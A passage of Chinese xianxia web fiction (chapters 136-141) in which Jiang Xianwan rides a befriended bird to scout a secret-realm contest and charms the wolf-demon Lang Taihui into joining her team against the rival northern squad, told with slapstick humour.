苏清流低垂着眉宇,正擦拭着长剑的动作一顿,忽然扭头看向江献晚。 “小师妹。” 他眸色稍暗,欲言又止,显然是想到了什么不愉快的事。 兽潮来的突然,且数量之多,极不正常。 而且,那些异兽的状态,有些像发狂不受控制一般。 四师兄妹对视一眼,终是什么也没说,江献晚也没将猜想说出。 这个猜测,在别人听来,未免有些匪夷所思。 只是,南境小队倒霉的运气好像只是刚开始。 “等等!南北两境的位置怎么好像又在逐渐靠拢?” 灵幕上,南境小队很快重新整装待发。 只见,南辕北辙的两支队伍,再次以一种难得的缘分向彼此靠拢。 “看来两境缘分不浅啊,南境小队都已经换了一条路,竟然还能同北境小队再次走个迎头。” 解说员蹲在树杈上,一拍大腿,“这还真是缘分天注定!话说,这次再见面,两方应当不会再避让了吧?” 神特么缘分天注定! 这缘分……一言难尽。 林轻染发现南境小队位置变换,并往这边的方向靠拢,心头狂喜。 果然,老天都在帮她! 那么,她是不是可以复刻方才的招数,再挫一挫南境小队的锐气。 就算江献晚他们有丹药补给,灵力和体力总有消耗完的时候。 再如何厉害,也绝不会在短时间内,有精力抵挡两波兽潮吧? 她眸光微闪,想到了既能得到碎片,又能再次坑一把南境小队的办法。 在征得系统的支持后,立刻扭头对裴长安道:“大师兄,我好像看到那里有什么彩色的东西闪了闪。” 裴长安眼底露出一丝喜色,当即命小队快速前进。 不得不说,他这师妹,运气极好。 随便一走,便能踩中一片灵植。 寻宝就跟喝水一样简单。 就是这性子,有点歪。 不过,一心想要获得碎片的裴长安当然不会拒绝。 另一边,林玉锦蹲在灌木丛后面,忽然打了个激灵,“不知怎么回事,突然觉得有点冷。” 虽然,那些异兽现在忙的不要不要的。 可虚古境这么大,仅仅外围,都很广袤。 这会附近风平浪静的,反而令人心中生出一丝莫名不安。 他们仔细查看周围的地形,显然还是被前不久的兽潮坑出了一点阴影。 天青宗杜师兄搓了搓胳膊,“说真的,我现在有点草木皆兵了。” 何未语紧张的攥着长剑,警惕地望向四周,“江师妹,你觉得呢?” 江献晚从草丛探出半颗脑袋。 她觉得……女主还是有点小牛逼在身上的! 想到林轻染临走前,对着她露出一抹暗含什么的笑意,再想想书中似乎无所不能的金手指系统。 江献晚唇角勾起一抹凉意,骨子里的暴虐基因在这一刻,彻底躁动了。 那便验证一下兽潮是否是女主的手笔。 若真的是林轻染做的,她不回份大礼,怎么说的过去? 江献晚想了想,当然是,主动出击! 她看了一眼天空盘旋,蠢蠢欲动的两只蓝色异鸟。 “我去看看。” 虚古境有禁制,无法御剑飞行,浮光掠影身法虽不错,也不能快速将周围转上一遍。 骑鸟是最快的办法。 范围广,视线好,速度快,又临近夜幕四垂。 白子夜指尖灵笔滴溜溜地转,闻言,凑了过来,“小师妹,你有什么想法?” 从兽潮那刻开始,他一直有种心慌的感觉,这会儿,倒是不知不觉散尽了。 苏清流和林玉锦双双侧过眸子,显然也想做点什么,缓解一下被兽潮围攻的郁闷。 江献晚缓缓起身,视线追逐着两只异鸟,悠悠吐出二字,“骑鸟。” 其他小伙伴:“……?” 这两只异鸟显然是一对夫妻,一个负责进攻,一个负责防守。 异兽都喜欢吃生肉,就是不知道烤熟的肉吃不吃。 不过,江献晚对自己烤肉的技术还是很有自信的。 这里数苏清流的修为最高,江献晚掏出一头烤的椒香无比的异兽,以灵力为刃切下一块。 “大师兄,用你的剑把这个东西扔远一点。” 虽不知小师妹要做什么,苏清流向来不会说不。 少年垂眸看了眼自己擦的锃亮的漂亮老婆,思索一下,很快做出选择。 直接手抓,发足跃上树枝,用尽全力一抛。 抛完,落回江献晚身边,垂眸,认认真真擦手。 见状,其他小伙伴,纷纷抱紧了自己的老婆。 异鸟已经盯了他们好一会儿,寻找时机,准备将猎物一击致命,却发现一块肉被远远抛了过来。 一股前所未有,让鸟流口水的浓郁肉香紧跟着在空气中飘散。 那只色彩更鲜艳,体型更大一些的雄鸟,本来还没在意。 随着格外诱人的香气传来,视线迅速锁定树杈上的肉块。 犹豫片刻,最终没忍住。 它警惕地往江献晚他们躲藏的位置看了一眼,而后猛地一个俯冲,利爪抓上了肉块。 盯着爪子中的肉思索一会儿,试探着啄了一口。 发现没什么问题,甚至味道出奇的鲜美可口,回味无穷,不由发出一声清戾的啼鸣。 另一只异鸟迫不及待,落到了它身边。 肉块眨眼间分食干净。 两只异鸟意犹未尽,明亮的兽瞳一转,再次向这处望来。 何未语惊讶道:“它们竟然吃了。” 林玉锦得意挑眉,“那当然!我小师妹烤肉的功夫可是一绝!” “啊!你不早说!早知道我就偷偷啃一口了!” 小伙伴们蹲在草丛中吵的叽叽喳喳。 江献晚瞅了瞅洁癖严重,还在认真擦手的苏清流,良心有些痛,决定自己上。 她拎着异兽的一条腿,飞身落到不远处的树上,对两只异鸟热情挥手。 “嗨,虚古境的朋友你们好啊,交个朋友怎么样?” 林玉锦望着笔直朝江献晚冲去的异鸟,紧张的就要出声,被何未语眼疾手快,三根指头捏住了嘴。 “别说话,江师妹自有她的道理。” 第 137 章 她就这么骑上来了 林玉锦:“……”用得着你说,他不了解自己的小师妹嘛! 他就是激动一下,怎么了。 两只异鸟落在了江献晚对面的树杈上,兴许察觉到什么敌意,并没有发动攻击。 接下来,更是两眼懵逼于江献晚厚脸皮的自来熟,嘚吧嘚吧,对它们的到来表示热烈欢迎。 “这种异兽,肉质爽滑,味道鲜美,加上我独家秘制的上百种小调料,鲜味吊的十足。” “相信我,比我们好吃多了!” “绝对让你们一口下去,满嘴流油!” “怎么样,要不要尝试一下?” 异鸟自然能听出她是在夸这些肉美味。 不过,刚才品尝过,确实极美味,有种味蕾被打开的爽感和还想吃的强烈渴望。 两只异兽警惕地又往下瞅了一眼,见林玉锦他们乖乖的蹲在树下,捧哏似的嘴里发出“一片哇”,根本没有要出手的意思。 耐不住江献晚热情似火的催促招手,两只鸟一对视,默默飞过去。 江献晚坐在树杈上,双腿垂悬,托着脸,在它们吃的沉浸其中时,偷偷伸出一只手,摸了一把那只雌性异鸟的羽毛。 “你的毛,可真滑啊。” 异鸟:“……?” 本来想狠狠啄她一下的异鸟,听到这一句由衷的赞美,收回了尖喙。 她说的倒是没错,就是嘴有点碎,又流氓。 接下来,江献晚的动作越来越过分。 “你们的尖喙和利爪好强健啊。” “我勒个,你的羽冠太酷辣!” “你好美,在异鸟界怎么也得算个顶顶漂亮的大美鸟!” 两只异鸟:“……” 它俩本来听着还很骄傲。 可江献晚嘴太碎了,一个脚趾甲盖都能夸出花来,还时不时伸出咸猪手,想和它们贴贴。 雄性异鸟不耐烦地一爪子踩住她的手:别动! 烦死了。 能让鸟好好吃顿饭吗? 吃着吃着,两只异鸟终于想起了窝里嗷嗷待哺的孩子。 雌性异鸟瞅了瞅江献晚,又去看蹲在地上,羡慕地猛瞅它们的一排脑袋。 江献晚忽略想骑鸟的小伙伴们,察觉到异鸟的想法,热心主动询问。 “家里是不是还有孩子?哦,对了,小孩子还是先吃生的吧,有助于身体强壮,适应大环境,我这里还有一头没烤的。” 雌性异鸟瞅了她一眼,默默抓起那头异兽,谁知道江献晚不放手,睁着一双清澈无辜地眼睛,“你让我摸摸。” 雌性异鸟:……行叭。吃人的嘴软,拿人的手短。 它微微伸长脖颈,压下一点头颅。 江献晚眼睛一亮,还没摸到它的脑袋,被旁边那只雄性异鸟啄了一下。 那是它的老婆! 谁家好人当着人家老公的面摸人家老婆! 流氓! 江献晚委屈巴巴地收回被啄红的手,看着雌性异鸟带着蜥蜴飞走了。 一人一鸟大眼瞪小眼,江献晚去拽它的翅膀,“我不管,你不让我摸你老婆,你得带我飞一圈。” 雄性异鸟:“……” 看了她十秒,抬起爪子就要抓起她,江献晚已经开开心心抓住它的翅膀,根本不知道什么叫客气……抬腿骑上了它的背! 头一次被骑的异鸟,站在树杈上恍惚了好一会儿。 她就这么骑上来了? 它就这么丝滑地被骑了? 她能要点脸吗? 不知道什么是人与鸟之间的边界感吗? 江献晚还在嘚吧嘚吧,边摸边夸。 异鸟终于不耐烦地展翅一飞。 算了。 不带她飞一圈,她恐怕能把它嘚吧死。 江献晚对着苏清流他们一摆手,“各位小伙伴,虚古境这么大,我想去看看,待会再见。” 小伙伴从草丛中探出一颗颗脑袋,朝她挥手,表示收到。 雾渺和帝隐:“……” 这一幕,让场外观众再次活跃起来。 解说员嘎乐,疯狂地摇晃着树枝,全然不顾树的死活。 “江献晚脸皮超厚,对两只异鸟动手动脚耍流氓就算了,竟然还骑人家!” “震惊的是,那只异鸟竟让她骑!他俩这是要干嘛?饭后遛弯吗?” 江献晚显然对这个临时座驾很满意,指挥异鸟来上几个俯冲,体验一把高空极速坠落的刺激。 她青衣墨发随微风拂动,脸颊擦着异鸟温柔的羽毛。 望着那像扇子一样的蓝色冠羽,飞快地伸手摸了两下,又赶紧摸出一颗丹药。 “尝尝。” 异鸟扭头叼走丹药,勉为其难原谅了她有一点点过分的手贱行为。 江献晚很快发现了北境小队。 她眸子轻眯,手指轻轻抚摸异鸟顺滑的羽毛,“看到远处那一群人了吗?” “绕道,悄悄飞过去,赶在他们前面。” 异鸟听明白了悄悄二字。 在虚古境这个到处充满危险的地方,它们身体进化的异常灵敏,最擅长隐蔽行踪。 是捕猎的一把好手,很容易地悄无声息贴着树梢飞过。 江献晚微微探出一些身子,举目望去。 远处茂密的林木中是一群群居的长臂异猿。 数量瞧不起清楚,目测至少有几十只。 “再绕远一些,周围一圈都看看,别被那些穿白衣服的人发现。” 她整个身子尽力贴在异鸟背部。 异鸟速度很快,方圆的景象尽收眼底。 四周都有零散走动,甚至厮杀在一起的异兽。 这片区域的异兽修为都不弱,再往北是一群类似于金狮异兽的地盘。 北境小队的方向,看起来正是离金狮异兽不远的那群长臂异猿。 江献晚思索了片刻,传音将这些信息递给了苏清流,让他们朝着北境小队的方向,慢慢跟上。 因为……她发现这附近还有另一支小队伍。 北境的队伍走的也不快,走走停停,还交谈着什么。 林轻染接收到系统反馈回来的信息,微微勾唇,“他们跟上来了。” 系统:“是。” “不过,我该怎么才能拿到碎片?” 方才操控兽潮已是铤而走险,再来一次,恐怕会引起注意。 不想做的那么明显,便只能通过取碎片,做出激怒那些异兽的样子,暗地里再操控它们攻击南境小队。 到时,就算秘境外的妖魔修看到,也只会说一句:南境,真特么倒霉! 系统见她脑子一会儿灵光,一会儿跟被屎糊严实一样,又犯蠢劲,再次不耐烦起来,“那还不简单,扔给它们一根香蕉把它们引过来。” 她的狗脑子是摆设吗? 整日问它怎么怎么做! 林轻染:“……”她去哪找香蕉? 第 138 章 干掉北境 江献晚勘察过地形,并不着急折返同小伙伴们汇合。 远处有十几个移动的小点,宝石在月色下,折射出各种细碎的璀璨光芒,想让人忽视都不行。 她看了片刻,摸了摸异鸟的冠羽,“蓝宝,转个弯。” 异鸟翅膀一僵,差点撞上巨树,连忙来了个猛刹,调转方向。 扭头啄她手:不许叫我蓝宝! 谁是你的宝! “知道了蓝宝。”江献晚不在意地又摸了它两把,“哦豁,果然是大尾巴狼。” 江献晚若有所思,唇角的笑意却越来越大。 既然这么有缘分,要不……再坑大尾巴狼一把? 顺手的事。 话说,她今天一大早起床出去遛了个弯。 正蹲在路边看着一个包子摊位,思考帝隐如果开家包子铺,生意肯定爆火,大尾巴狼就这么亮光闪闪的登场了。 她当时没注意,听到头顶传来轻嗤的嘲笑声,下意识抬头。 这么一看,羡慕坏了。 狼太灰尾巴上又坠了十几颗亮晶晶的宝石,闪的她眼都快瞎了,一看就很贵。 尤其那发簪,腰带,羽衣,锦靴,无一不是高档货! 大尾巴狼不是被黑市扣下来刷碗还债去了吗,这么快就出来了? 转念一想,估计是联系他爹,送来了赎金。 江献晚羡慕地看着从头到脚,闪闪发光的大尾巴狼,恨不得立刻上去扒了他的衣裳,再抢一遍。 兴许,她的目光太过直白灼热。 狼太灰脚步一顿,傲娇地抬起下巴,用鼻孔看她,“练剑的果然穷,太虚宗亲传弟子竟然连一个包子都买不起,丢人。” 江献晚:“……” 啊,对。 你买的起,你是妖二代。 她故作羞愧而心酸地抠了抠手指,低下头局促的理衣裳,又眼巴巴地偷瞥了一眼摊位蒸笼上热气腾腾的小包子。 将想吃,想要,又没钱的可怜,发挥到极致。 狼太灰瞅了她一眼,随手丢给她一块极品灵石,用一种施舍且高高在上的语气,鼻孔朝天,“赏你的,够你买一百个包子了!” 江献晚:“……” 当然是—— 攥着灵石,激动地扑了过去,握上狼太灰的双手,“大人!您是我的神!” 狼太灰兴许没受到过如此热切而又真心实意地情感表达,更别说对方还是一个人族两脚兽。 长得又挺漂亮的。 在江献晚滔滔不绝的顶礼膜拜中,狼太灰飘飘欲然,大气地又掏出十块给她。 “小爷我就是这么厉害,就是这么有钱!今天算你幸运,碰到了我。” 江献晚感激涕零,好一顿吹捧,直夸的狼太灰耳朵尖泛红,狼毛也遮不住,顶着一张红扑扑的脸,摆手走了。 听风回雪说,狼太灰彻底信了偷他芥子囊的是万古宗女弟子。 来参赛的万古宗女弟子,可不就是林轻染? 为此,刷了一夜碗,刚被赎出来的狼太灰,一出黑市,气都不带喘的,大清早就跑到两境落脚的客栈,在门前叉腰,点名道姓,一阵破口叫骂。 左一句狗贼,右一句孙子。 以对方父母为中心,直系亲属为半径,生殖器为主技能。 配以宠物、家畜、殡葬行业等领域的特有名词,以及动词,画圆开草。 词汇量之庞大,气的万古宗长老差点撸起袖子摁着他,剥出一张新鲜狼皮。 狼太灰放出狠话:“给小爷等着!别让我在虚古境见到她!” 那么,若是妖域跟北境碰上,会发生什么? 江献晚觉得应该相当有趣,拍拍异鸟,“蓝宝,回去。” 蓝宝宛如一柄利剑,带着江献晚破开夜色,急速折返。 江献晚摆了一个帅气的姿势,轻盈一跃而下,将手刚好搭在苏清流微微伸出的掌心。 小伙伴们呼啦啦围上来,拉着她仔仔细细看了一遍,确定她没受伤,松了口气。 白子夜:“发现了什么?” “北境小队往一群长臂异猿的老巢方向去了,再往北有十几头金狮异兽,而且,那片区域,元婴妖兽比比皆是,妖域小队在附近不远的位置。” 江献晚顿了顿,直截了当,“我想干掉北境小队。” 诡异地,其他人竟觉得她头一个想要干掉北境小队,没毛病。 毕竟,之前太虚宗一事,还有林轻染嘴贱一事,他们觉得……还是先干北境小队吧。 怎么看,都觉得看不顺眼。 不顺眼,还留着干嘛。 当然是,清出局啊! 何未语第一个同意,“我赞同!” 修言凑了过来,“我也赞同,江师妹,你能不能把我欠你的二十八块灵石抹了啊?” 江献晚:“……?” 其余人:“……我们也是!” 林玉锦是相当了解自家小师妹的。 她方才提到妖域小队,分明是想同妖域联手。 悄咪咪地用手肘捅了捅江献晚,挤眉弄眼:妖域小队虽然有风回雪的心腹,可那条大尾巴狼不是很难缠吗? 苏清流和白子夜瞅他一眼,“那条狼今天早上对着万古宗的人叫骂了一个时辰,你没听到?” 嗓子都喊冒烟了。 林玉锦:“……”那就没事了。 经过这些天的相处,何未语很是了解江献晚,并有一种相见恨晚的亲近之感。 明眸一转,抬手揽住江献晚的肩膀,“江师妹,你想把妖域小队引去北境那边?” 看着勾肩搭背,相视狡黠一笑的两个少女,其他小伙伴莫名觉得后背蹿起一股凉意。 搞事业的女生,真的强的好可怕。 短短几日,连温温柔柔的何师姐都变了。 不过,倒是出奇一致全票通过。 干谁不是干? 早晚和顺手的事。 再者,南北表面虽是友境,实则私下里并没有那般和谐,亲传弟子间更是纷争不断,处处卯足劲想压对方一头。 若是将北境小队踢出局,那么,南境的地位,岂不是很好看? 主要吧……他们单纯看北境不顺眼。 常师弟举手,“可是妖域为什么要和我们联手呢?他们能信我们吗?” 江献晚抚着下巴,“我和狼太灰有十一块灵石的交情。” 五方势力都不会太在乎集齐碎片的任务,单纯的想打对方的脸而已。 狼太灰被偷了芥子囊,找北境小队狠狠出一口气,是必然。 她指个路,再顺势抛出一个橄榄枝,此事必成。 第 139 章 我才是殿下的心腹啊 林玉锦小眼神写满幽怨,“小师妹,你什么时候跟大尾巴狼有交情了?” 你俩的交情不就是你顺了他的芥子囊么? 江献晚嘿嘿一笑,“待会就知道了,小师兄,记得打辅助。” 又一把抓住张开翅膀想飞走的蓝宝,揽过它的脖儿,深情款款,“宝,别走好吗?” “我需要你。” 蓝宝:“……?”好叭。 狗狗祟祟,嘀嘀咕咕半柱香后,头碰头,围成圆圈的脑袋忽然仰天,发出一串反派桀桀狂笑,“鹅鹅鹅鹅鹅鹅鹅鹅鹅鹅鹅!” 鹅罢,声集体一收,低头看圆圈中目瞪口呆的蓝宝,“你为什么不笑?” “是天生不爱笑吗?” 蓝宝:“……”讨厌没有边界感的人。 二逼吧? 那,陪一个? 蓝宝抻脖儿:“鹅鹅鹅鹅鹅鹅鹅鹅鹅!” 苏清流薄唇轻勾,“鹬蚌相争。” 白子夜嘻地一笑,“渔翁得利。” 南境小队一拍即合,说干就干。 玄古大赛,比的不就是谁能搞事情? 碎片? 什么碎片? 等其他小队找到,再抢过来不就成了。 或者,他们先把其他小队送出去,再慢慢找啊! 大赛又没规定时间。 再说,虚古境的好东西还蛮多的,他们必定能借此机会暴富一波。 解说员的沉默震耳欲聋,“南境小队要跟妖域小队合作,干掉北境小队?” “是我疯了,还是这个世界癫了?” “最牛逼还是,蓝宝竟然愉快的加入了犯罪同伙?” “不是,南北这俩不是友境吗?南境什么时候跟妖域有一腿了!” 云舟上,或许花不休与风回雪考虑到江行行在。 云为泽手痒气闷,却名不正言不顺。 帝隐根本不敢有半分吃醋的想法。 四个男人之间,早已压抑已久的毛骨悚然的暗潮,突然随着解说员一声掐脖儿嘶吼,为之一滞。 风回雪耳尖的听到这一句,冲天怒意,顷刻乌泱泱散去一半。 铁青的脸颊肉眼可见的变红,狐狸眸中的幸福甜蜜,都快拉出丝儿了。 享受着四双同时划来的目光,唇角翘起嚣张而得意的弧度。 看吧,都给他好好看清楚了。 他风回雪才是有名有份,地位不可撼动的—— 江、献、晚、的、男、人! 他与晚晚哪里是有一腿,以后还会有两腿,三腿,更多腿! 只要他在,尔等皆是妃!!! 花不休:“……”孽徒。 狐狸精和江行行就是从前她口中的两件事? 喘口气的功夫,她给他惹了一连串男人? 她就这么饿? 云为泽:“……”好你个死丫头。 还真有六个! 难怪妖域传出妖帝无恙的消息,她把他的灵泽之露,给了这狐狸精了? 这一船男人,她是打算都收了? 剩下两个呢? 六个啊,她是真饿了。 帝隐:“……”稳住。 男人要大度,男人要大度,男人要大度。 不能吃醋,不能吃醋,不能吃醋。 别说一船。 就是再来一船,他也得死死稳住! 非翎:“……”好腻害。 她真的有六个! 不过这狐狸精看似大房,整个一妾室的肚量,还一副勾栏做派。 看来,他要更努力、更有情趣,骚过在场所有哥哥,将他们全踩成弟弟。 就算当不了正室,贵妾应该还是有很大希望的! 虚古境中,在南境小队的刻意下,很快和妖域小队迎面撞上。 狼太灰看到来人,有些惊讶,神色古怪的还有领队的白天鹅。 两方会面,江献晚压根不带警惕的,反而眸子一亮,一阵风似的,直咧咧的刮了过来。 白羽的头皮都麻了。 她就这么水灵灵的过来了? 殿下的人,他真的不敢打啊。 狼太灰同样也在纠结。 实在是江献晚因为那十一块灵石对他感激涕零,感恩戴德,感动不已,恨不得跟他当场磕两个,烧香拜把子。 她穷的着实可怜。 那,要不要打? 狼太灰纠结的时候,一侧的白羽更是纠结的脸都苦了。 他犹豫地抬手,打算出声象征性放两句狠话,同时思考待会儿万一真的打起来,怎么放水。 却见江献晚一个虎扑,精准的朝着……狼太灰扑了过去! “大人!我们又见面了!” 白羽:“……” 不是,你搞错对象了啊! 你该扑的是我啊! 我才是殿下的心腹啊,那条大尾巴狼最多只算个大患! 你是不是瞎了! 白羽急的翅膀直哆嗦。 然而,江献晚根本就不看他,俩眼珠子都在大尾巴狼上,活像是见到失散多年的亲人。 激动地握上狼太灰的手,热情地上下一晃,“大人,一会儿不见如隔三秋!您吃饭了吗?” 瞅瞅,这就是穷的,一开口就问他吃饭了吗? 对上一双满含关切的眼睛,狼太灰轻咳一声,扭捏道:“吃了。” 又问,“你吃了吗?” 南境小队:“……?” 嘶! 他俩还真是有交情唉! 白羽:“……?” 豹冲:“……?” 不是,你俩咋就搁这聊起来了? 不应该是直接掏法器火拼的吗? 云雾中,望着那双亲亲热热握在一起的手,风回雪险些一口气没上来。 狐狸眸一瞪,恶狠狠的猛剜狼太灰手,同时默默为他默哀三秒,不能再多了。 江献晚噙着两眼感动的泪花,“托大人的福,我今早上吃了一笼包子!” “还是肉馅的!” 狼太灰耳根子有些热,整个脸烧的涨红,又咳嗽了一声,“吃了就行。” 江献晚愈发感动,就差把崇拜俩字刻脑门上,“大人,您对我真好!” “哦,对了,这个送给您。”江献晚摸出一屉肉包子,“我特意给大人打包的,说了很久的好话魔域长老才同意!还热着呢,您尝尝?” 帝隐:“……” 魔域长老:“……”你别胡说,我没有! 我就是顺手捏了你一个包子! 别说……还挺好吃。 妖域南境两方小队其他成员,望着状若无人无妖,热情聊起来的两个,陷入天荒地老的沉默。 他俩的交情……可真是比海都深呐! 林玉锦心痛的捂上心口,酸的身子来回摇曳,“小师妹竟然对他这么好,我再也不是她最心爱的小师兄了吗!” 白子夜也不嘻了,明知道是在演戏,还是酸的哼唧一声。 苏清流懒倦的站着,直勾勾的盯着那两双黏糊在一起的手,用力一咬唇瓣。 三人的反应,更加让狼太灰不知所措。 第 140 章 好朋友,一辈子 扛不住江献晚真诚地小眼神,更扛不住她满满地心意。 瞅瞅,这两脚兽虽然穷,可人多好啊,竟然还想着给他带包子,多知道感恩。 都没舍得让她自己的师兄吃! 特意留给他的! 不像那个嫌弃他尾巴,偷他芥子囊的可恶女修,等他抓到那个女的,不把她剁碎喂狗,他名字倒过来写! 狼太灰心头一片滚烫,二话不说,捏起一个小包子。 在江献晚强烈期盼的注目下,一口塞进嘴里,“好吃!” 江献晚得到肯定,似乎松了一口气,“您喜欢就好。” 狼太灰摆手,“不用这么客气,你叫我名字就行。” 白羽:“……” 不是,谁来告诉他到底是怎么一回事啊! 他俩怎么聊起来了? 包子都吃上了? 他才是殿下的心腹啊! 包子不是应该给他吗! 显然。 一人一狼,相见恨晚,眼里已容不下别人。 “不好吧,我怎么能直呼大人您的名讳!” “没事!你叫就好,哦,对了,我还不知道你叫什么?” 江献晚激动道:“我叫江献晚,既然咱们相见恨晚,您直接喊我晚晚就行了!” 两方小队:“……” 秘境外徐燕洲和铁长老忽然激动的哆嗦起来。 小兔崽子! 相见恨晚! 那一摞的小黄书果然是她写的! 江献晚丝毫不知自己马甲掉了,一人一狼,执手相看泪眼。 “晚晚。” “太灰。” “晚晚!” 江献晚拉来了苏清流白子夜和林玉锦,“大师兄,你们知道吗?我今天早上快饿死的时候,是太灰给了我十一块灵石让我买包子吃!” 被江献晚赢的裤衩都不剩的小伙伴:“……” 不是。 那个豪气地一挥手请两境吃饭,那个赢的他们哇哇大哭的她……还能饿死? 还有! 你说的交情,就是这么个交情? 这就水灵灵的谈上了! 还真是……牛逼。 “太灰,这是我大师兄,二师兄,还有小师兄。” 白子夜和林玉锦迅速进入状态,一人执起狼太灰一只手,“太灰兄!从今往后,你就是我的兄弟!” 苏清流神色厌懒,递出一只手,也跟着上前同狼太灰握了一下,“好兄弟。” 望着这一幕,白羽面色苍白,摇摇欲坠,好生绝望。 不是。 他们的兄弟,不该是他吗? 两方小队:“……” 何未语紧跟着带头,同妖域小队一个一个,友好地握起手。 “你好你好,妖域地好朋友。” “啊,你也好,人族地好朋友。” “都好都好!” “自然自然!” “好朋友!” “一辈子!” “以后咱穿一条裤子!” “必须滴!就现在!” 白羽:“……” 树杈上的解说员坚强的托起掉在地上的下巴,“我去,方才我还觉得江献晚说干掉北境小队是在开玩笑,她竟然来真的!” “真的,我现在真的很不理解,他们这是在干什么?” “南境和天狼族的关系什么时候这么好了?” “妖域和南境就这么水灵灵的谈上了?!” 不理解的还有天狼王。 他望着相谈甚欢,一见如故的两支小队伍,精明的目光微微闪动。 想不到自己的儿子同剑尊亲传关系这么好,其他两大宗也都很热情。 那么,他们天狼族若是跟南境搞好关系,是不是离推翻妖帝,踏上帝座又近了一步? 于是乎,天狼王挤出一丝真诚的笑意,对着徐燕洲他们行了个妖域礼。 “看来他们相处的很不错,以后妖域和南境要常走动走动才好。” 面对北境和两域高层投来的目光,徐燕洲只能尬笑,“这些小家伙向来如此,倒是见笑了。” 他又不是傻的,哪里不知道天狼王打的什么小算盘。 妖域争权夺位,关南境什么事? 三言两语想拉他们下水,想屁吃呢。 再说,江献晚明显是想利用你傻大儿啊! 天青宗和道明宗掌门同样一脸勉强而又不失礼貌地尬笑。 拉倒吧。 这群小崽子准没憋好屁。 大尾巴狼不被他们坑死,就跪下烧高香吧。 他们的大宝贝亲传,自从和江献晚学会打麻将后,各个跟特么邪祟附体似的,彻底放飞自我。 那叫一个既没底线,又没道德。 跟法外狂徒似的。 他们没别的要求,只希望……他们的宗门,稍微还有那么一点点未来。 当然,没有话……当他们没说。 秘境中,无人问津的白羽痛苦地闭了闭眼,绝望提醒,“那个,现在还在比赛。” 这是在比赛啊,不是联谊! 最绝望的是,联谊为什么不带他! 他要闹了! 他真的要闹了! 被打断的狼太灰,狠狠瞪他一眼,“我在跟我朋友说话!你插什么嘴!” 白羽:“……” 江献晚扯了扯他,露出纠结的神色,“没关系,太灰,我只是不想跟你动手,你实在是太好了。” 狼太灰面颊涨红,狼耳一颤一颤,羞涩地直摇尾巴。 他本来一心想弄死几个南北两境的弟子,出口气的同时,还能给风回雪找点麻烦。 可面对江献晚和热情围着他的南境弟子,忽然就不想了。 算了,跟他有仇的是北境,关人家南境什么事。 他怎么能如此狼心狗肺,对不起江献晚对他的满心情谊。 “自然,咱们可是好朋友!那……?” 就此分开,装作没遇到。 就连被热情问候的豹冲等妖,也不好意思动手了。 南境亲传,真的,很善啊! 江献晚感动坏了,手一指,激动道:“咱们当然不能打!我情愿去跟北境干一架!” 林玉锦执着狼太灰的手,义正言辞,“我也是!把北境弄死,也绝不可能对我的好兄弟出手!” 修言挤过去,迫不及待给自己加了一把戏,“我觉得太灰他们真的很好,咱们还是干北境和魔域界域去吧。” 何未语不甘人后,挤开白子夜和林玉锦,“俺也是!” 其他小伙伴一窝蜂挤过去,绝不错过表演的机会。 “随一个!” 早就被挤出二里地的白羽:“……” 殿下! 殿下! 苍天在上! 您媳妇,您儿子娘,她好像不要你了啊! 你要不要擦擦被糊瞎的眼睛啊! 狼太灰注意到了江献晚手指的方向,嘴角笑意一敛,声音不自觉一沉,“你碰到北境的贼了?” 那群孙子! 偷了他的芥子囊! 他的乾坤鼎,八千万啊! 第 141 章 自己人 江献晚看着少年气的两只狼耳一抖,坑他坑的毫无负担,良心都不带痛的。 要怪就只能怪他想杀了风回雪,杀了江行行。 一拍脑袋,像是突然想起什么大事。 “差点忘了正事,刚才我们正尾随北境小队,准备坑他们一把大的。” “哦?你们在尾随北境小队?”狼太灰语气有些激动,“多大?你们也跟北境那群孙子有仇?” 南北两境不是关系很好吗? 一荣俱荣,一损俱损。 江献晚像是看出了他在想什么,嗨了一声,“那你可就想多了!” “太灰,你有所不知,我们跟万古宗的人八字不合!” 帝隐:“……” 雾渺:“……” “对!”说到这个,林玉锦很有发言权,“你们妖域消息灵通,应该知道之前万古宗的四个弟子来了太虚宗。” 狼太灰果然很感兴趣。 “我自然听说了,这事信道里都聊嗨了,还好最后你们太虚宗保住了颜面。” 他见林玉锦大有一副细说的模样,生怕说的久了,给北境那群孙子跑掉,忙道:“咱们不如边追边说?” “行!” 妖域小队和南境小队就这么手拉手,开开心心携手同行。 白羽已经看麻了。 生无可恋地跟在队尾,听着他们激烈交谈,互相吐槽北境罪状,时不时发出一声愤怒的共鸣,再到商量怎么坑北境一把,翅膀都耷拉了下来。 坑北境小队他没意见,可江献晚她到底是哪边的啊! 白羽略带谴责地目光落在江献晚身上,却见后者忽然回头……朝他轻轻一挑眉。 “……!”这暗含深意地一挑,白羽一个激灵:自己人! 立刻精神抖擞地抖了抖翅膀,跟上。 江献晚想了想,“不过,他们好像已经发现了我们。” 裴长安他们有没有发现不知道,但身负系统的林轻染八成知道。 单看她能在黑市堵了风回雪,不难确定。 狼太灰思索片刻,“我们两队在一起有些显眼,他们若是看到我们合作,定然会有所防备。” “为了防止那群孙子跑掉,要不,咱们兵分两路,包抄过去?” 他太想收拾万古宗的贼了。 而且,经过他的仔细观察,江献晚他们对万古宗的人的嫌弃不是假的。 就连她那个神色恹恹的大师兄,听到万古宗三个字,眉毛拧的恨不得夹死一只苍蝇。 看来,两境的确是面和心不和,背地里都想坑对方一把,自己上位。 再说了。 又不是两境三域开战,南境想借此机会打压一下北境嚣张的气焰,就很说的通。 而他刚好可以顺势跟南境打好关系,说不定对他跟他爹还有好处。 狼太灰小算盘打的噼里啪啦响。 主要还是,南境小队对他们太热情了。 彻底信了江献晚。 自然,江献晚也不会叫他失望,拿出诚意。 “那行,你们小心一点,我刚才已经探查过了,北边有很多金狮异兽,往南些,有群居的长臂异猿,周围还有不少异兽,修为不低,你们千万小心。” “咱们信道联系,到时候两队夹击,打他们个措手不及。” 她提醒一下,白羽也能提前警惕。 白羽听懂了,还听进去了。 狼太灰对此毫不怀疑,轻轻一拍江献晚的肩膀,担心地叮嘱,“晚晚,那你们也小心一点。” 在妖域小队和南境小队简单的制定好作战计划,林轻染这边已经离那群长臂异猿很近了。 她听着系统通过妖域两位美人图鉴的定位反馈,幸灾乐祸地弯唇。 南境真是倒霉透了,刚解决一波兽潮,马不停蹄,气都不带喘的,又和妖域小队碰到了一起。 这还不打的死去活来? 体力灵力八成消耗的差不多,那接下来,再给他们重重一击,搞死江献晚还不是轻而易举之事。 不过,想到美人图鉴上那位漂亮的狼族少年,早上在客栈点名指姓,一阵破口大骂,林轻染又是羞愤,又是一头雾水。 黑市那日,系统仅仅定位了风回雪,她自然不知那个漂亮的狼族少年就坐在她不远处。 